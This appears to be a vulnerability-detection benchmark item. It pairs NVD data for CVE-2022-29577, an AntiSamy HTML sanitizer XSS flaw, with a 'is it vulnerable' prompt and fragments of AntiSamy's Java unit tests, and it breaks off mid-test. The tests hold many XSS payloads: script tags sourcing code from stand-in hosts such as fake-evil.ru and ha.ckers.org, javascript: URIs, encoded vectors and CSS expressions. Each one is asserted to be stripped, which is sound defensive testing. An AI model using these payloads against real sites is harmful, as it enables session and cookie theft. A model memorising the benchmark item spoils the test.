"vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367."}, {"lang": "es", "value": "OWASP AntiSamy versiones anteriores a 1.6.7, permite un ataque de tipo XSS por medio de contrabando de etiquetas HTML en contenido STYLE con entrada dise\u00f1ada. El serializador de salida no codifica correctamente el supuesto contenido de las hojas de estilo en cascada (CSS). NOTA: este problema se presenta debido a una correcci\u00f3n incompleta de CVE-2022-28367"}], "evaluatorComment": null, "id": "CVE-2022-29577", "lastModified": "2023-02-23T18:47:00.307", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-21T23:15:10.467", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://github.com/nahsra/antisamy/releases/tag/v1.6.7"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, "type": "CWE-79"}
130
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2007-2022, Arshan Dabirsiaghi, Jason Li\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list\n * of conditions and the following disclaimer. Redistributions in binary form must\n * reproduce the above copyright notice, this list of conditions and the following\n * disclaimer in the documentation and/or other materials provided with the distribution.\n * Neither the name of OWASP nor the names of its contributors may be used to endorse\n * or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */", "package org.owasp.validator.html.test;", "import static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertNotNull;\nimport static org.junit.Assert.assertTrue;\nimport static org.junit.Assert.fail;\nimport static org.hamcrest.CoreMatchers.both;\nimport static org.hamcrest.CoreMatchers.containsString;\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.hamcrest.CoreMatchers.not;\nimport static org.hamcrest.MatcherAssert.assertThat;", "import org.hamcrest.text.MatchesPattern;\nimport org.junit.Before;\nimport org.junit.Test;", "import java.io.File;\nimport java.io.IOException;\nimport java.io.Reader;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.concurrent.ExecutionException;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;", "import org.apache.commons.codec.binary.Base64;", "import org.owasp.validator.html.AntiSamy;\nimport org.owasp.validator.html.CleanResults;\nimport org.owasp.validator.html.Policy;\nimport org.owasp.validator.html.PolicyException;\nimport org.owasp.validator.html.ScanException;\nimport org.owasp.validator.html.model.Attribute;\nimport org.owasp.validator.html.model.Property;\nimport org.owasp.validator.html.model.Tag;", "/**\n * This class tests AntiSamy functionality and the basic policy file which\n * should be immune to XSS and CSS phishing attacks.\n * \n * The test cases titled issue##() map to the issues identified in the original AntiSamy \n * source code repo at: https://code.google.com/archive/p/owaspantisamy/issues.\n * \n * The test cases titled githubIssue##() map to the issues documented at: \n * https://github.com/nahsra/antisamy/issues\n *\n * @author Arshan Dabirsiaghi\n */", "public class AntiSamyTest {", " private static final String[] BASE64_BAD_XML_STRINGS = new String[]{\n // first string is\n // \"<a - href=\\\"http://www.owasp.org\\\">click here</a>\"\n \"PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=\",\n // the rest are randomly generated 300 byte sequences which generate\n // parser errors, turned into Strings\n \"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\",\n };", " private AntiSamy as = new AntiSamy();\n private TestPolicy policy = null;", " @Before\n public void setUp() throws Exception {", " /*\n * Load the policy. You may have to change the path to find the Policy\n * file for your environment.\n */", " //get Policy instance from a URL.\n URL url = getClass().getResource(\"/antisamy.xml\");\n policy = TestPolicy.getInstance(url);\n }", " @Test\n public void SAX() {\n try {\n CleanResults cr = as.scan(\"<b>test</i></b>test thsidfshidf<script>sdfsdf\", policy, AntiSamy.SAX);\n assertTrue(cr != null && cr.getCleanXMLDocumentFragment() == null && cr.getCleanHTML().length() > 0);\n } catch (ScanException | PolicyException e) {\n e.printStackTrace();\n }\n }", " /*\n * Test basic XSS cases.\n */", " @Test\n public void scriptAttacks() throws ScanException, PolicyException {\n \t\n assertTrue(!as.scan(\"test<script>alert(document.cookie)</script>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"script\"));\n assertTrue(!as.scan(\"test<script>alert(document.cookie)</script>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"script\"));", " assertTrue(!as.scan(\"<<<><<script src=http://fake-evil.ru/test.js>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<<<><<script src=http://fake-evil.ru/test.js>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<script<script src=http://fake-evil.ru/test.js>>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<script<script src=http://fake-evil.ru/test.js>>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"onload\"));\n assertTrue(!as.scan(\"<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"onload\"));", " assertTrue(!as.scan(\"<BODY ONLOAD=alert('XSS')>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<BODY ONLOAD=alert('XSS')>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<iframe src=http://ha.ckers.org/scriptlet.html <\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<iframe\"));\n assertTrue(!as.scan(\"<iframe src=http://ha.ckers.org/scriptlet.html <\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<iframe\"));", " assertTrue(!as.scan(\"<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"src\"));\n assertTrue(!as.scan(\"<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"src\"));", " as.scan(\"<a onblur=\\\"alert(secret)\\\" href=\\\"http://www.google.com\\\">Google</a>\", policy, AntiSamy.DOM);\n as.scan(\"<a onblur=\\\"alert(secret)\\\" href=\\\"http://www.google.com\\\">Google</a>\", policy, AntiSamy.SAX);\n }", " @Test\n public void imgAttacks() throws ScanException, PolicyException {", " assertTrue(as.scan(\"<img src=\\\"http://www.myspace.com/img.gif\\\"/>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(as.scan(\"<img src=\\\"http://www.myspace.com/img.gif\\\"/>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<img src=javascript:alert(document.cookie)>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\"<img src=javascript:alert(document.cookie)>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\", policy, AntiSamy.SAX)\n .getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\n \"<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"<img\"));\n assertTrue(!as.scan(\n \"<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>\",\n policy, AntiSamy.SAX).getCleanHTML().contains(\"<img\"));", " assertTrue(!as.scan(\"<IMG SRC=\\\"jav&#x0D;ascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<IMG SRC=\\\"jav&#x0D;ascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " String s = as.scan(\n \"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\",\n policy, AntiSamy.DOM).getCleanHTML();\n assertTrue(s.length() == 0 || s.contains(\"&amp;\"));\n s = as.scan( \"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\",\n policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(s.length() == 0 || s.contains(\"&amp;\"));", " as.scan(\"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\", policy, AntiSamy.DOM);\n as.scan(\"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\", policy, AntiSamy.SAX);", " assertTrue(!as.scan(\"<IMG SRC=\\\"javascript:alert('XSS')\\\"\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<IMG SRC=\\\"javascript:alert('XSS')\\\"\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<IMG LOWSRC=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<IMG LOWSRC=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<BGSOUND SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<BGSOUND SRC=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));\n }", " @Test\n public void hrefAttacks() throws ScanException, PolicyException {", " assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"href\"));\n assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"href\"));", " assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"href\"));\n assertTrue(!as.scan(\"<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"href\"));", " assertTrue(!as.scan(\"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ha.ckers.org\"));\n assertTrue(!as.scan(\"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ha.ckers.org\"));", " assertTrue(!as.scan(\"<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ha.ckers.org\"));\n assertTrue(!as.scan(\"<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ha.ckers.org\"));", " assertTrue(!as.scan(\"<STYLE>li {list-style-image: url(\\\"javascript:alert('XSS')\\\");}</STYLE><UL><LI>XSS\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<STYLE>li {list-style-image: url(\\\"javascript:alert('XSS')\\\");}</STYLE><UL><LI>XSS\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<IMG SRC='vbscript:msgbox(\\\"XSS\\\")'>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"vbscript\"));\n assertTrue(!as.scan(\"<IMG SRC='vbscript:msgbox(\\\"XSS\\\")'>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"vbscript\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert('XSS');\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert('XSS');\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<meta\"));\n assertTrue(!as.scan(\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<meta\"));", " assertTrue(!as.scan(\"<IFRAME SRC=\\\"javascript:alert('XSS');\\\"></IFRAME>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"iframe\"));\n assertTrue(!as.scan(\"<IFRAME SRC=\\\"javascript:alert('XSS');\\\"></IFRAME>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"iframe\"));", " assertTrue(!as.scan(\"<FRAMESET><FRAME SRC=\\\"javascript:alert('XSS');\\\"></FRAMESET>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<FRAMESET><FRAME SRC=\\\"javascript:alert('XSS');\\\"></FRAMESET>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<TABLE BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"background\"));\n assertTrue(!as.scan(\"<TABLE BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"background\"));", " assertTrue(!as.scan(\"<TABLE><TD BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"background\"));\n assertTrue(!as.scan(\"<TABLE><TD BACKGROUND=\\\"javascript:alert('XSS')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"background\"));", " assertTrue(!as.scan(\"<DIV STYLE=\\\"background-image: url(javascript:alert('XSS'))\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<DIV STYLE=\\\"background-image: url(javascript:alert('XSS'))\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<DIV STYLE=\\\"width: expression(alert('XSS'));\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<DIV STYLE=\\\"width: expression(alert('XSS'));\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert('XSS'))\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"alert\"));\n assertTrue(!as.scan(\"<IMG 